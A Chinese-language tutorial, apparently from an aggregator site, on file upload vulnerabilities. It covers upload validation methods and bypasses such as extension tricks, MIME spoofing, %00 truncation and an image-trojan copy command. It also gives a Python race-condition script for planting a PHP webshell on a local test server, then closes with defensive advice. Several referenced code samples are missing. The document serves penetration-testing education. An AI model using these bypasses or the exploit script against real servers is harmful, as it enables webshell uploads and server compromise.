文件上传漏洞总结 您所在的位置:网站首页 上传照片文件扩展名错误 文件上传漏洞总结

文件上传漏洞总结

2023-06-15 15:28| 来源: 网络整理| 查看: 265

1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。

客户端javascript校验(一般只校验文件的扩展名) 服务端校验 文件头content-type字段校验(image/gif) 文件内容头校验(GIF89a) 目录路经检测(检测跟Path参数相关的内容) 文件扩展名检测 (检测跟文件 extension 相关的内容) 后缀名黑名单校验 后缀名白名单校验 自定义正则校验 WAF设备校验(根据不同的WAF产品而定) 3. 客户端校验

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法,有白名单形式也有黑名单形式。

这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下: function CheckFileType() { var objButton=document.getElementById("Button1");//上传按钮 var objFileUpload=document.getElementById("FileUpload1"); var objMSG=document.getElementById("msg");//显示提示信息用DIV var FileName=new String(objFileUpload.value);//文件名 var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名 if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名 { objButton.disabled=false;//启用上传按钮 objMSG.innerHTML="文件检测通过"; } else { objButton.disabled=true;//禁用上传按钮 objMSG.innerHTML="请选择正确的文件上传"; } } 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测))内容如:只允许传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过方法:

将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp 上传页面,审查元素,修改JavaScript检测函数(具体方法:可以使用firbug之类的插件把它禁掉) 4. 服务端检测 4.1. 服务端MIME类型检测

MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

服务器端检测文件MIME类型可能的代码如下:

绕过方法

配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型

然后在对应目录生成shell.jpg

4.2. 服务端目录路径检测 上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,测试代码 条件:php版本5.3.4以下;gpc关闭 4.3. 服务端文件扩展名检测 黑名单检测:黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等

不被允许的文件格式.php,但是可以上传文件名为shell.php_(下划线是空格),IIS支持,linux不支持,详细见下面的特殊文件名绕过描述;

白名单检测仅允许指定的文件类型上传,比如仅与需上传jpg | gif | doc等类型的文件,其他全部禁止 绕过方法:

文件名大小写绕过

用像 AsP,pHp 之类的文件名绕过黑名单检测

名单列表绕过

用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

特殊文件名绕过:

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性 0x00截断文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中处理函数中,处理字符串中在扩展名检测这大部分都是 asp 的程序有这种漏洞,给个简单的伪代码 Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件 If(type == jpg) SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。

PHP任意文件上传漏洞(CVE-2015-2348)**该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

演示代码:php

加上GIF头内容

5. 竞争上传

演示代码:

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

import os import requests import threading class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = "http://127.0.0.1:8080/upload/shell0.php" self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php" def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success") os._exit(0) def _upload(self): print("upload file.....") file = {"file":open("shell0.php","r")} requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get() if __name__ == "__main__": threads = 20 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()

经过几次尝试后成功成功写入shell

6. 图片木马制作

命令:

copy /b 1.jpg+2.php 7. 总结

条件: 寻找一个上传点,查看上传点是否可用。利用:首先判断是程序员自己写的上传点,还是编辑器的上传功能如果是编辑器上传功能,goolge当前编辑器的漏洞如果是程序员写的上传点上传一个正常的jpg图片 查看上传点是否可用上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg判断服务器是什么类型,web服务器程序,是什么类型,版本号多少利用解析漏洞防御:上传文件的存储目录禁用执行权限文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本)不能有本地文件包含漏洞及时修复Web上传代码(重要)升级Web Server

参考链接

1. Upload Attack Framework2. web中的条件竞争漏洞3. 文件上传总结4. 截断在文件包含和上传中的利用5. 文件上传漏洞



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有